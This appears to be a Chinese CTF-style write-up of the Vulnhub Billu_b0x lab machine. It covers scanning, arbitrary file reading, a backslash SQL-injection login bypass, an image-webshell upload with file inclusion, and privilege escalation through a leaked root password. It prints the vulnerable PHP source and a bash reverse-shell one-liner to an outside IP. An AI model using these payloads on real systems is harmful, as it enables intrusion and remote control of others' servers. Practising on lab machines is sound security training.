Vulhub-Billu_b0x靶机通关


前言

在B站看见了什么必过百台靶机,于是随便找台玩玩。


一、下载地址

https://download.vulnhub.com/billu/Billu_b0x.zip

信息收集

  1. nmap直接扫一波IP,发现主机地址,并且直接扫靶机开放的端口,是否存在明显的漏洞等。

file

file

开放了80端口、服务器是apache和ssh的22端口,同时扫出了test.php。

拿Shell

  1. 前面扫出了test.php,直接进去查看一下,发现如下:

file

它说缺少file参数,个人感觉能直接进行文件下载,于是/etc/passwd试了试,果然可以,再访问80端口,发现index.php,它说可以进行sql注入,但是用常用的方法以及丢到了sqlmap都不行,于是把源码读取下来看看。

file

<?php
session_start();

include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
	$_SESSION['logged']='';
	
}

if($_SESSION['logged']==true &&  $_SESSION['admin']!='')
{
	
	echo "you are logged in :)";
	header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> 
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
	$uname=str_replace('\'','',urldecode($_POST['un']));
	$pass=str_replace('\'','',urldecode($_POST['ps']));
	$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
	$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {

$row = mysqli_fetch_assoc($result);
	   echo "You are allowed<br>";
	   $_SESSION['logged']=true;
	   $_SESSION['admin']=$row['username'];
	   
	 header('Location: panel.php', true, 302);
   
}
else
{
	echo "<script>alert('Try again');</script>";
}
	
}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";

?>

这里需要登录赋予了SESSION的值才能继续访问panel.php页面,并且对传入的参数将单引号过滤成了空格,但是缺陷在于使用了\,完全可以将pass也输入,完成逃逸,比如输入pass=\,uname=or 1=1#,那么语句就变成了select * from auth where pass=‘’ and uname=’ or 1=1#'; 语句变成了永真句,登录就成功了。

  1. 再通过test.php读取登录成功后panel.php页面的源代码进行分析
<?php
session_start();

include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
		header('Location: index.php', true, 302);
		exit();
	
}



echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
	unset($_SESSION['logged']);
	unset($_SESSION['admin']);
	header('Location: index.php', true, 302);
}
echo '<hr><br>';

echo '<form method=post>

<select name=load>
    <option value="show">Show Users</option>
	<option value="add">Add User</option>
</select> 

 &nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
	$dir=getcwd();
	$choice=str_replace('./','',$_POST['load']);
	
	if($choice==='add')
	{
       		include($dir.'/'.$choice.'.php');
			die();
	}
	
        if($choice==='show')
	{
        
		include($dir.'/'.$choice.'.php');
		die();
	}
	else
	{
		include($dir.'/'.$_POST['load']);
	}
	
}


if(isset($_POST['upload']))
{
	
	$name=mysqli_real_escape_string($conn,$_POST['name']);
	$address=mysqli_real_escape_string($conn,$_POST['address']);
	$id=mysqli_real_escape_string($conn,$_POST['id']);
	
	if(!empty($_FILES['image']['name']))
	{
		$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
	$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
	$image=array('jpeg','jpg','gif','png');
	if(in_array($r,$image))
	{
		$finfo = @new finfo(FILEINFO_MIME); 
	$filetype = @$finfo->file($_FILES['image']['tmp_name']);
		if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
				{
					if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
							 {
							  echo "Uploaded successfully ";
							  $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
							 mysqli_query($conn, $update);
							  
							}
				}
			else
			{
				echo "<br>i told you dear, only png,jpg and gif file are allowed";
			}
	}
	else
	{
		echo "<br>only png,jpg and gif file are allowed";
		
	}
}


}

?>

这里可以上传图片,对文件的后缀和文件的类型都进行了判断,只允许图片,但是可以看到continue进入到最后一个else能够进行文件包含,因此可以传图片马+文件包含的格式拿shell。

制作图片马

file

上传
file
拿shell成功
file

这里花费了很长的时间,开始用Hackbar进行的时候一直没包含成功,有点郁闷,后来换了下burpsuite就可以了,hackbar又发疯了0 。0

直接蚁剑连接就行,注意要加Cookie和POST的数据
file

当然如果不喜欢蚁剑,直接利用system命令+一句话bash反弹shell也是可以的,echo “bash -i >& /dev/tcp/120.79.29.170/5555 0>&1” | bash

提权

提权最简单粗暴的就是看系统,然后搜索系统的漏洞。
file
可以看到存在exp,把.c文件编译成可执行文件,然后wget提取进靶机,注意这里只有uploaded_images是有权限的,其它都是root,没有写入权限。

file

执行exp,结果执行失败了,也不知道啥原因,只能找其它了
file

直接都看目录的时候,还看到phpmy目录,访问一下,发现是phpmyadmin,并且整个目录的权限都是777。
file
既然跟数据库有关,那肯定得看下数据库的配置文件,结果看到了root的密码。
file
ssh连接成功

file

总结

主要考了sql注入和图片马+文件读取,文件包含的利用,跟CTF的一些基础考点类似,难度偏低。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

M03-Aiwin

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值